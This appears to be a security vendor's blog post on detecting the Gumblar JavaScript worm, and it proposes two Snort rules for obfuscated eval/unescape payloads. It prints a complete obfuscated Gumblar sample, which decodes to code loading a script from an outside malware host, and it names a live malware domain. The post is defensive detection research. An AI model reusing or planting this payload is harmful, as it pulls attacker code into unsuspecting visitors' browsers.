A couple of months ago I put together a post on detection of obfuscated JavaScript. Not surprisingly, that topic has popped back up on the VRT radar screen this week, this time in the context of something much more interesting - Gumblar, the new worm that everyone is talkingabout.

For anyone who hasn't heard, Gumblar is a piece of malware named for the web site that was originally hosting it - hxxp://gumblar.cn (WARNING! Live Malware site!). It spreads via two primary mechanisms: stealing FTP credentials from compromised systems and using them to infect web sites, and delivering a malicious JavaScript payload via those compromised sites that hits client systems with a combination of Acrobat and Flash exploits. Once inside a user's system, Gumblar redirects Google search results to malware-laden pages, dropping all sorts of nastiness on victims' systems.

Generally speaking, Gumblar looks a lot like any other piece of obfuscated JavaScript malware:

(function(ljk8K){var q0UFt='%';var ikN7=('va_72_20a_3d_22ScriptEngi_6ee_22_2cb_3d_22Version(_29+_22_2cj_3d_22_22_2cu_3d_6eavigator_2euserAge_6et_3bif((u_2eind_65xOf(_22C_68_72ome_22)_3c0_29_26_26_28_75_2ei_6edex_4f_66(_22Win_22)_3e0)_26_26(u_2e_69nde_78Of(_22N_54_206_22)_3c_30)_26_26(doc_75_6de_6et_2ecoo_6b_69e_2ein_64exOf(_22miek_3d1_22)_3c_30_29_26_26_28ty_70eof_28zrvzts_29_21_3dtypeof(_22A_22_29))_7bzrv_7ats_3d_22_41_22_3beval(_22_69_66(window_2e_22+a+_22)_6a_3d_6a+_22_2ba_2b_22_4dajo_72_22+b+a+_22M_69nor_22_2b_62+a+_22_42uild_22+b_2b_22_6a_3b_22)_3b_64_6f_63um_65nt_2ewr_69te(_22_3c_73cr_69pt_20src_3d_2f_2fma_22_2b_22_72_74_75_7a_2ecn_2fvi_64_2f_3fid_3d_22+j+_22_3e_3c_5c_2fs_63ript_3e_22)_3b_7d').replace(ljk8K,q0UFt);var pbEO=unescape(ikN7);eval(pbEO)})(/\_/g);

Note: line breaks inserted above for readability - there are none in the actual exploit

What makes it stand out in the crowd of malicious JavaScript is its prevalence: a week ago Sophos declared it the fastest-growing threat on the Internet, and it has only continued to spread since.

Unfortunately, the rule discussed in my last blog post on obfuscated JavaScript - GID 1, SID 15363 - does not fire on Gumblar: while that rule's search for "eval(" and "unescape(" within 15 bytes of each other succeeds on many variants of Gumblar, and the underlying logic of looking for a large block of data inside of a call to unescape() is also valid, the JavaScript payload being obfuscated by Gumblar contains items like indexOf(), document.write(), etc. that are not completely escaped out - and thus the closing parentheses from these calls causes the rule to fail, since it requires no close parentheses within 250 bytes of the start of the unescape() call. It's not that the rule itself is useless - there's plenty of malware out there that it still catches - it's just that Gumblar is just smart (or lucky) enough to take advantage of a known evasion case.

Given the reality that tracking nested parentheses isn't happening in Snort - or any IDS, for that matter - any time soon, we can't directly address that evasion case. With that in mind, the VRT decided to try to look for other characteristics inside of Gumblar's JavaScript that we could use to detect it. After poring through hundreds of samples of Gumblar's malicious HTML, it quickly became clear that anything common to the obfuscated payload itself would be of very limited use, since the obfuscation method changes in subtle ways between different infected web sites, and sometimes even between different pages on the same infected site.

There are, however, several characteristics that are common to all of the different JavaScript payloads:

  • They're all composed of very long lines (500+ bytes) that have a function declaration within a few bytes of the start of the line
  • They all contain either "eval(unescape(..." or "unescape(...)...eval()"
  • They all use the replace() function to aid the de-obfuscation process

    This combination of items makes for a specific enough set of criteria that false positives should be minimal - as I stated in my last post, legit JavaScript code has little to no reason to obfuscate itself like this - while still remaining generic enough to catch all the variants of Gumblar we've tested (and, quite likely, other pieces of malware that use similar logic). In fact, we can likely even leave out the call to replace() from our rule and still be in good shape - since it's the most easily removed portion of the equation if you want your nasty JavaScript to go undetected, and the other conditions are so rarely together in legitimate situations anyway.

Putting this all together, you come up with the following pair of rules:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT obfuscated javascript function eval unescape long line"; flow:established,to_client; content:"function|28|"; nocase; content:!"|0A|"; within:500; content:"eval|28|"; nocase; content:"unescape|28|"; nocase; pcre:"/^.{0,5}function\x28[^\n]+eval\x28[^\n]{0,15}unescape\x28/smi"; metadata: service http; reference:url,www.cs.ucsb.edu/~marco/blog/2008/10/dom-based-obfuscation-in-malicious-javascript.html; reference:url,blog.scansafe.com/display/Search?searchQuery=gumblar; classtype:misc-attack;)alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"WEB-CLIENT obfuscated javascript function unescape eval long line"; flow:established,to_client; content:"function|28|"; nocase; content:!"|0A|"; within:500; content:"eval|28|"; nocase; content:"unescape|28|"; nocase; pcre:"/^.{0,5}function\x28[^\n]+unescape\x28[^\n]{0,15}eval\x28/smi"; metadata: service http; reference:url,www.cs.ucsb.edu/~marco/blog/2008/10/dom-based-obfuscation-in-malicious-javascript.html; reference:url,blog.scansafe.com/display/Search?searchQuery=gumblar; classtype:misc-attack;)

We're still testing this out here in VRT-land, to make sure that it doesn't fire on some common JavaScript case that we haven't thought of. In the meantime, though, we wanted to make this available for anyone who's concerned about Gumblar. Use at your own risk - and please, if you use it, send your feedback to research at sourcefire dot com.

Note: These rules are covered by the Sourcefire VRT Certified Rules License agreement available here: http://www.snort.org/about_snort/licenses/vrt_license.html